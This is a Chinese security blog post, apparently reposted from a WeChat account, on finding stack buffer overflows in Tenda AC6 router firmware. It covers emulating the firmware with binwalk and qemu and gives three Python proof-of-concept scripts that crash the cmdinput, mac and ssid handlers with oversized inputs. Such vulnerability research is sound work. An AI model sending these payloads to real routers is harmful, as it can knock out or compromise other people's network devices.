tenda路由器漏洞挖掘

admin 2025年2月26日08:53:07评论27 views字数 3386阅读11分17秒阅读模式

tenda路由器漏洞挖掘

记录一下自己挖掘路由器的过程,漏洞技术含量不高,挖了几个溢出漏洞分配了CVE编号。

CVE-2025-0349CVE-2025-25343

环境搭建

从官网上下载固件

版本:AC6 V15.03.05.16https://www.tenda.com.cn/material/show/102661

提取固件

binwalk -Me --run-as=root AC6V1.0BR_V15.03.05.16_multi_TD01.bin

查看软件架构 ARM架构

tenda路由器漏洞挖掘

复制 qemu-arm-static 到当前目录

cp /usr/bin/qemu-arm-static .

创建br0网卡

sudo brctl addbr br0      # 添加一座名为 br0 的网桥sudo brctl addif br0 ens33   # 在 br0 中添加一个接口sudo ifconfig br0 up      # 启用 br0 接口sudo dhclient br0         # 从 dhcp 服务器获得 br0 的 IP 地址

运行命令

sudo chroot ./ ./qemu-arm-static  ./bin/httpd_file

用ida打开,搜索WeLoveLinux

需要对 httpd 进行修改,模拟仿真环境,使用 ida工具 把 MOV R3 R0 修改为MOV R3 #1,就可以了

tenda路由器漏洞挖掘

成功搭建运行 tenda 路由器

tenda路由器漏洞挖掘

webroot_ro 文件夹内容复制到 webroot 文件夹中

cp -r webroot_ro/* webroot/
tenda路由器漏洞挖掘

formexeCommand 溢出漏洞

使用插件 https://github.com/Accenture/VulFi 搜索关键字,通过IDA插件快速挖掘溢出漏洞。

tenda路由器漏洞挖掘

成功利用溢出漏洞

import requests# 构造溢出载荷defcreate_payload():# 假设 cmdinput 的目标缓冲区大小为 512 字节    buffer_size = 51200# 填充 512 字节(覆盖 s 数组)    payload = b"A" * buffer_size# 假设我们想覆盖 v11(4 字节,Little-endian 格式),填充目标数据# 举例:将 v11 设置为 0xdeadbeef    v11_value = b"xefxbexadxde"# 将溢出数据和 v11_value 拼接    payload += v11_valuereturn payload# 构造 HTTP 请求并发送defsend_payload(url, payload):# 发送 GET 请求,带上恶意的 cmdinput 参数    params = {'cmdinput': payload}    response = requests.get(url, params=params)    response = requests.get(url, params=params)# 打印响应内容print("Response status code:", response.status_code)print("Response body:", response.text)if __name__ == "__main__":# 目标 URL    url = "http://192.168.18.131/goform/exeCommand"# 创建恶意载荷    payload = create_payload()# 发送恶意请求    send_payload(url, payload)
tenda路由器漏洞挖掘

GetParentControlInfo 函数 缓冲区溢出漏洞

tenda路由器漏洞挖掘

在这段代码中,strcpy 被用来将 src 指向的字符串拷贝到 s 所指向的内存区域的偏移 2 处。问题出在这几点:

  1. 1. 目标缓冲区大小不明确s 被分配了 0x254 字节的内存(596 字节),但 strcpy 并没有检查目标缓冲区的大小,而是直接将 src 的内容复制到 s + 2 位置。如果 src 字符串的长度超过了 s + 2 位置后可用的内存空间,strcpy 将会导致缓冲区溢出。
  2. 2. 未验证 src 的大小src 是从 sub_2B7C4(a1, "mac", &unk_EA0EC) 获取的,未能确保该字符串不会超过 s + 2 偏移后的内存空间大小。如果 src 的长度过长,超出 s 分配的内存范围,strcpy 会写入超出边界的内存区域,导致溢出。
import requests# 构造溢出载荷defcreate_payload():    buffer_size = 51200    payload = b"A" * buffer_size    v11_value = b"xefxbexadxde"    payload += v11_valuereturn payload# 构造 HTTP 请求并发送defsend_payload(url, payload):    params = {'mac': payload}    response = requests.get(url, params=params)    response = requests.get(url, params=params)print("Response status code:", response.status_code)print("Response body:", response.text)if __name__ == "__main__":# 目标 URL    url = "http://192.168.18.131/goform/GetParentControlInfo"# 创建恶意载荷    payload = create_payload()# 发送恶意请求    send_payload(url, payload)
tenda路由器漏洞挖掘

form_fast_setting_wifi_set 溢出漏洞

tenda路由器漏洞挖掘

从 form_fast_setting_wifi_set 函数中 ,ssid 赋值给 src ,src 是一个指向字符串的指针 char *src;

  src = (char *)sub_2B7C4(a1, "ssid", &unk_DFB94);strcpy(s, src);strcpy(dest, src);

strcpy 函数是一个不做边界检查的字符串复制函数,它会将 src 字符串复制到 s 和 dest 缓冲区中,如果 src 字符串长度超过了 s 或 dest 的大小(64 字节),就会发生溢出

tenda路由器漏洞挖掘

跟踪 form_fast_setting_wifi_set 函数调用

tenda路由器漏洞挖掘
tenda路由器漏洞挖掘
tenda路由器漏洞挖掘

知道了 form_fast_setting_wifi_set函数的路由 fast_setting_wifi_set

接下来直接用脚本跑就行

import requests# 构造溢出载荷defcreate_payload():    buffer_size = 256    payload = b"A" * buffer_size    payload += b"B" * 128return payload# 构造 HTTP 请求并发送defsend_payload(url, payload):    params = {'ssid': payload}    response = requests.get(url, params=params)    response = requests.get(url, params=params)# 打印响应内容print("Response status code:", response.status_code)print("Response body:", response.text)if __name__ == "__main__":# 目标 URL    url = "http://192.168.18.131/goform/fast_setting_wifi_set"    payload = create_payload()    send_payload(url, payload)
tenda路由器漏洞挖掘

参考文章

tenda固件栈溢出漏洞挖掘和iot常用工具介绍和使用 [1]Tenda AC15 栈溢出漏洞调试[2]

引用链接

[1] tenda固件栈溢出漏洞挖掘和iot常用工具介绍和使用 : https://xz.aliyun.com/news/12239[2] Tenda AC15 栈溢出漏洞调试: https://xz.aliyun.com/news/6953

原文始发于微信公众号(安全逐梦人):tenda路由器漏洞挖掘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日08:53:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   tenda路由器漏洞挖掘https://cn-sec.com/archives/3773831.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息